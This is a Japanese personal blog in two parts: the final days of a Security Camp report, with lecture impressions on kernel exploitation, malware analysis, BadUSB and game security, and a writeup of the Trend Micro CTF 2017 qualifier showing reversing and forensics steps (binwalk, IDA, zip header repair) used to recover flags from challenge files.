講師は小崎さん.序盤は楽だったんですが,後半がなんとなくで理解しているところが多く,細部まで詳細に理解できたという講義ではありませんでした.演習問題があったのですが,結構解けない問題ばかりで苦戦してました.入門というのは本当の初心者が来たらどうするかとか,そこら辺の「どこに合わせるのか」という難易度を設定するの難しそうだなぁと思ったりしました.

D2-D3 カーネルエクスプロイトによるシステム権限奪取

講師はるくすさん.相当難しいと言われていた講義で,恐る恐る挑みましたが,実践的なことが多くて楽しかったです.netconsoleのところでよくわからない問題に当たり,チューターさん方に助けていただきました,ありがとうございました.(最後に/がなかったのが原因)プログラムを少し書く演習があって,時間はかかりましたが実装することができて感動していました.カーネルエクスプロイトの一端に触れた経験を今後少しでも活かしていきたいです.

昼食はゆーくんやmiyagawa君やかきのたね君やぷろとんさんと食べました.

夕食は同じ大学のこばと食べました.

早めに寝ました.

3日目

7時過ぎに起きることができて,8時ギリギリに朝食も食べれました.朝食はこばと,hiwwさんとゆーくんとかはいひるさんとかと食べました.

講義は,

の2つ.

オールマルウェアdayなのでマルウェアの気持ちになって受講しました.

D4 マルウェア機械学習

講師は村上さん.機械学習は経験がなかったのですが,検知手法に興味があったので受講しました.「機械学習とは」から始まり,マルウェアを検知するための特徴量の抽出などのアイデア出しをグループで行ったりしていました.その後実際に自分で決めた特徴量を用いて検知率がどのくらいか,などを検証していました.VMのイメージのダウンロードが遅すぎて進まなかったりしていましたが,チューターさんのはっぴーのーとさんに助けて頂きました,ありがとうございました.やっぱり機械学習は,これから自分に必要な知識になってきそうな予感.

D5 The Anatomy of Malware

講師は中津留さん.これも結構人気の講義で自分も楽しみにしていました.(講義資料を最後のほう読むの忘れていて焦った)ひたすら静的解析をする講義で,マルウェアに興味は持ちつつもまだ解析はしたことがなかった自分にとって,いいきっかけになったのではないかと思います.最後にやった演習では,どのようなことを行っているルーチンなのかを当てることができて嬉しかったです.今後マルウェア解析にのめり込んでいきたい!

昼食はD4を受講してた游び人さんと高専の方と食べて,女の子の話をしたりして楽しかったです.

夕食は講師やチューターさん,外部の方と混ざって食事をするはずが,人数の関係で参加者の方1人しかいなく,その人と楽しくお喋りしていました.

BoFは「ゲスリティキャンプ」と「サイバー空間へようこそ」にしました.

どちらも新鮮なお話でした.

企業プレゼンテーションはNEC日本電気)さん.

「サイバー空間へようこそ」の人でした.(この人と実はCODE BLUEの学生スタッフをやった時も会っており,3回同じ話を聞いたので内容は完璧になった)

誰もやらないようなことをやっている人で,サイバーだけに特化するのではなく,他の知識も身につけておこうということを学びました.

あとはグループワークをちょこっとやって3日目は終了.

4日目

いつ通り遅めに起きて,朝食を食べました.この日はぼっち飯をキメました.

講義は,

  • B6 AVRマイコンで作るBadUSB工作・改

  • B7 ゲームセキュリティ入門

の2つ.

B6 AVRマイコンで作るBadUSB工作・改

講師は竹迫さん.BadUSBは以前作ろうとしたのですが,対策されているUSBしかなくて諦めていたので今回受講しました.最初は竹迫さんのマインスイーパーを自動で解くやつを生で見ることができました.LTの動画で見たことがあったので,「マインスイーパーのやつだ!」と思ったりしていました.この講義は手を動かす時間がほとんどで,ひたすらBadUSBを作っていました.自分はデスクトップ上に空ファイルを大量に作るものを作ろうとしたのですが,連番のファイル名を作るやり方がわからず,結局完成せず…でも,自動で動く様は見ていてとても面白かったです.

B7 ゲームセキュリティ入門

講師は愛甲さん.愛甲さんはめっちゃ尊敬していて,生で見るのはCODE BLUE以来でしたが,振る舞いというか佇まいというか,とにかくかっこよかったです.講義は演習が中心で,途中で解説が少し入ったり,そんな感じでした.一番聞いていて面白かったのが,あるゲームを解析していた時の話で,愛甲さんがどのように解析したかを聞くことができてとても参考になりました.CEDEC CHALLENGEの前に受講したかった講義でした.

昼食は游び人さんとすずきゃんさんと食べました.

夕食はこばとソフトバンクの方お二人と食べたのですが,意外な繋がりがあったりして,世間は狭いな~という感じでした.

企業プレゼンテーションは富士通さんでした.喋っていた人が坂井さんという名字で,講師の坂井さんとお二人で質疑応答されていて,中の話とかを伺うことができました.

グループワークはいい感じに進捗が出ました.

その後サプライズプレゼントとして,本やグッズがあり,好きなのを2つ取っていいということ.

しかし順番が年齢が若い順ということで,22歳の僕は無事死亡して,貰えたのは「かるた」だけでした.

大人はつらい!!!!!!!

その後,少しだけグループで作業してスライドを作っていました.

5日目

荷造りをしていたら寝るのが3時になってしまって,4時間しか寝られませんでした.それでも最終日朝食チャレンジは成功したので,オール朝食コンプリートです.

グループワークから始まり,少し作業した後は各チームの発表を聞いていました.

自分のチームの発表者の安定感が凄く,自分にはできないな~と思っていました.

発表内容やスライドの綺麗さ,面白さなどがずば抜けてるな~と思ってたチームがその後優勝していて,だよな~という感想でした.

昼食は班員の方達と食べました.

閉会式で印象に残った言葉がいくつかあって,川口さんの「情報は発信する人に集まる」という言葉と,宮本さんの「寄り道を楽しむ」という言葉です.

川口さんの話を聞いて,これからも情報を発信していこうと思いましたし,宮本さんの話は,まさにいろいろ寄り道をしていた自分にとって結構心に残りました.

あとは写真撮影で集合写真を撮って終わり.

帰りはサケリティキャンプ(お酒)なるものが行われるらしかったのでどうしようかと迷った結果,結局前日の徹夜などから帰ることにしました.

まとめ

参加する前は,なにかやりたいことが決まればいいなぁと思って参加していました.

そして参加後,今後やっていこうと思ったことがあって,目標は達成できたのかなと思います.

その他にチューターとかにも興味は湧いて,いつかこんな自分でもやれる日が来たらいいなぁと弱気でいます.

上野さんが仰っていた通り,セキュキャンに参加すること自体はそんなに凄くなくて,その後の活動が大事だと思うので,モチベを落とさずやっていこうと思います.

講師の方々,チューターの方々,事務局の方々,その他関係者の方々,本当にありがとうございました!

Trend Micro CTF 2017 - Raimund Genes Cup - Online Qualifier Writeup(rev100)

開催期間(JST)

06/24 PM1:00 ~ 06/25 PM1:00

結果

・チーム名:wabisabi

・得点:200pt

・順位:得点したチーム中,175/294

解いた問題

・rev100

取り組んだが解けなかった問題

・Analysis-Offensive100

・rev200

・IoT/OSINT/SCADA100

はじめに

参加してました.用事があったりで全部の時間は使えなかったけど割と楽しかった.

1問しか解けてないのはいつものこと.(1問アシストしたので1.5問みたいな感じだから・・・)

Writeup

rev100

配布されるファイルは,AESで暗号化されたものが渡される感じだった.復号してからfileコマンド.

$ file pocket
pocket: Zip archive data, at least v2.0 to extract

解凍するとbiscuitという名前のrarで圧縮されたファイルがでてくる.

$ unrar e biscuit

biscuit1というPE32のものと,biscuit2というpasswordつきzipの2つのファイルがでてくる.

biscuit1を実行してみる.

$ ./biscuit1
Please find sweets name starting from m for biscuit2.

mから始まるお菓子・・・と思い調べた結果,マカロンではと思い"macaron"で解凍してみるといけた.

Archive:  biscuit2
[biscuit2] biscuit4 password:
  inflating: biscuit4
  inflating: biscuit5
  inflating: biscuit3

biscuit3はjpgだったのでとりあえずExifを見てみるが,特に何もない.

stringsしてみると,末尾にzipがついているのがわかる.binwalkが手っ取り早いので,

$ binwalk -e biscuit3

すると,"cream"と書かれたbiscuit.txtがでてくる.

biscuit4を見る.これはテキストファイル.

$ cat biscuit4
Please create flag.

hint:

Flag = TMCTF{biscuit3_ biscuit5}

biscuit3のほうは手に入っているので,biscuit5をみていく.

$ file biscuit5
biscuit5: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

実行しても特に何も表示されない.

objdumpで逆アセンブルして読んでみると,"biscu"という文字列を使って_shift_charという関数でゴニョゴニョやってる.

静的解析が辛くなったので,IDAのデモ版で実行しながらみていくことにした.

f:id:ywkw1717:20170625185419p:plain

左下のルーチンを"biscu”という回数分繰り返すので,このルーチンの前あたりにブレークポイントを張って動的解析していく.

f:id:ywkw1717:20170625185453p:plain

“biscu"という文字列を,先頭から順に1文字ずつ取り出して_shift_charに渡すという処理が計5回行われる.

call _shift_char

に対してステップインして中を見ていく.

f:id:ywkw1717:20170625185614p:plain

最初に渡されるのは"b".

それを"abcdefg…..“というスタックに積んであるものに対して"b"が出てくるまで1文字ずつシフト.

その後,シフトした回数+1というか↑のルーチンを実行した回数分,"abcde…“という文字列を先頭から左にシフト.(正確に言うと,スタックにある"abcde…."のアドレスに回数分を加算)

すると,"b"の場合は"c",次の"i"は"h",次の"s"は"o"...となっていって最終的に"choux"となる.

f:id:ywkw1717:20170625190148p:plain

よって,biscuit3の答えと合わせてTMCTF{cream_choux}でsubmitしてみるも通らない.

cream chouxで調べてみると,シュークリームが英語で"choux cream"らしく,(英語力の無さ)

TMCTF{choux_cream}にしたらいけた.

取り組んだが解けなかった問題

Analysis-Offensive100

$ file Forensic_Encyption
Forensic_Encyption: MS-DOS executable, MZ for MS-DOS

これは最初,binwalkで取り出して3つのzipファイルに対してゴニョゴニョやってた.今年のPlaid CTF予選で出たZipperみたいにzipのバイナリを書き換えて修正していくものかなと思ってたけど,file_3がどうも見当たらない.

渡されたファイルのバイナリを見てみるとわかった.

00000000: 4d5a 0304 1400 0000 0800 f484 af4a bc79  MZ...........J.y
00000010: 17c2 2a34 0000 8879 0000 0600 0000 6669  ..*4...y......fi
00000020: 6c65 5f33 d45a 0958 1357 bb3e 618d c822  le_3.Z.X.W.>a.."
.................

先頭のシグネチャがMZであることからMS-DOSかと思うが,file_3という文字列が見える.

これは実はzipのlocal file headerであり,もともとのシグネチャ0x504B0304の504Bを4d5aに書き換えられたものだった.

よって,そこを修正して解凍するとうまくいく.

出てきたファイルは3つ,jpg,passwordつきzip,pcapファイルがそれぞれ1つずつ.

ここからjpgをstringsしたりstegsolveで見てみたりしたけど進捗なし.

pcapファイルのほうもわからず途方に暮れていると,チームメンバーのkobadからslackが飛んできて,passwordつきのzipは解凍できたけどpcapファイルが見つからないとのこと.

そこで,自分がやった過程を共有して,あとはkobadに任せた.(プロなのですぐ解いてた.エニグマだったらしい)

rev200

RFIDの問題.

渡されたテキストファイル.

$ cat rawbits.txt
Using Clock:64, Invert:0, Bits Found:625
ASK/Manchester - Clock: 64 - Decoded bitstream:
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101

検索したら16進数に戻していたりしたので,適当にスクリプト書いて

DemodBuffer:  EFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDD

とかやってたぐらい.

全く知らない分野で厳しかった.

IoT/OSINT/SCADA100

これは,whoisで渡されたドメインを調べて,電話番号がわかって,同じ電話番号で登録されているドメインを見つけて,そこに書かれているメールアドレスを調べて....とかやってたぐらい.

まとめ

Google CTFよりかは難しくなかった.

rev力~~~~